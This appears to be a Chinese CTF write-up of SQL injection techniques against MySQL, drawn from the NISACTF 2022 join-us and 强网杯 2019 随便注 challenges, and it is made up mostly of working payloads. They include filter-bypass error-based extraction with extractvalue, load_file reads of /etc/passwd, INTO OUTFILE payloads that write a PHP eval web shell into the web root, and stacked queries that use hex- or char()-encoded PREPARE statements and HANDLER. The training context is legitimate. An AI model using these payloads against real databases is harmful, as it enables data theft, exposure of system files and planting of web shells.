1.[NISACTF 2022]join-us sql报错注入和联合注入
过滤:
as
IF
rand()
LEFT
by
update
=
substring
handler
union
floor
benchmark
COLUMN
UPDATE
&
sys.schema_auto_increment_columns
&&
'1'='1'
database
case
AND
right
CAST
FLOOR
left
updatexml
DATABASES
BENCHMARK
BY
sleep
DATABASE
insert
anandd
ascii
CAST()
其实一开始想到的是布尔盲注,因为输入1会返回txw4ever,输入0返回空白,但是禁用了ascii函数,禁用了updatexml函数,但是可以使用extractvalue函数。
database被禁,所以可以考虑用访问一个不存在的数据库来返回数据库。
1'||(select * from aa)#或者将||换成or,爆出sqlsql库。-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#
爆出output表-1' || extractvalue(1,concat(0x5c,(select*from (select*from output a join output b)c)))#
爆出data列名-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),1,30))#-1' || extractvalue(1,mid(concat(0x7e,(select data from output)),10,40))#
由于as也被过滤,无列名注入可以用join 连接
首先自连接查询出来的表,没有using条件的结果是两张表的笛卡尔积,那么列名必然会有重复的部分,而主键是不允许重复的,所以查询出来会报错,也就把列名爆出来了
select*from (select*from output a join output b)c
2.mysql注入文件操作(root权限)
方法一:
mysql中的load_file函数,允许访问系统内任意文件并将内容以字符串形式返回,不过需要高权限,且函数参数要求文件的绝对路径,绝对路径猜测是/var/www/html/flag.php
构造payload:
0 and updatexml(1,concat('~',(select(database())),'~'),1)%23 0 and updatexml(1,concat('~',(select(user())),'~'),1)%23
爆出root用户0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4# 0 Union select 1,load_file("/etc/passwd")--+
方法二:
写入函数为into outfile()
INTO OUTFILE()函数将自定义字符串写入指定文件中 (前提权限允许写入)
0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"Union select 1,"<?php @eval($_POST[x])?>",1 into outfile '/var/www/html/Less-1/1.php'--+
3.[强网杯 2019]随便注
一般select等被禁用时,可以考虑堆叠注入
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。
查看表
?inject=1' ;show database --+查看列
?inject= 1'; show columns from `words`--+ 或者
?inject= 1'; show columns from words--+
注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
单引号或者双引号主要用于字符串的引用符号。
数据库、表、索引、列和别名的引用符是反勾号。
有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,必须使用反引号
如何查看flag字段?
方法一:16进制编码 prepare预处理
因为select被过滤了,所以先将select * from ` 1919810931114514
`进行16进制编码
再通过构造payload得
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句变量定义预处理:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
或者(2)本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)等价于select'
因此根据题目意思我们可以构建payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
- prepare…from…是预处理语句,会进行编码转换。
- execute用来执行由SQLPrepare创建的SQL语句。
- SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值
方法二:handeler
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
';handler `1919810931114514` open;handler `1919810931114514` read first#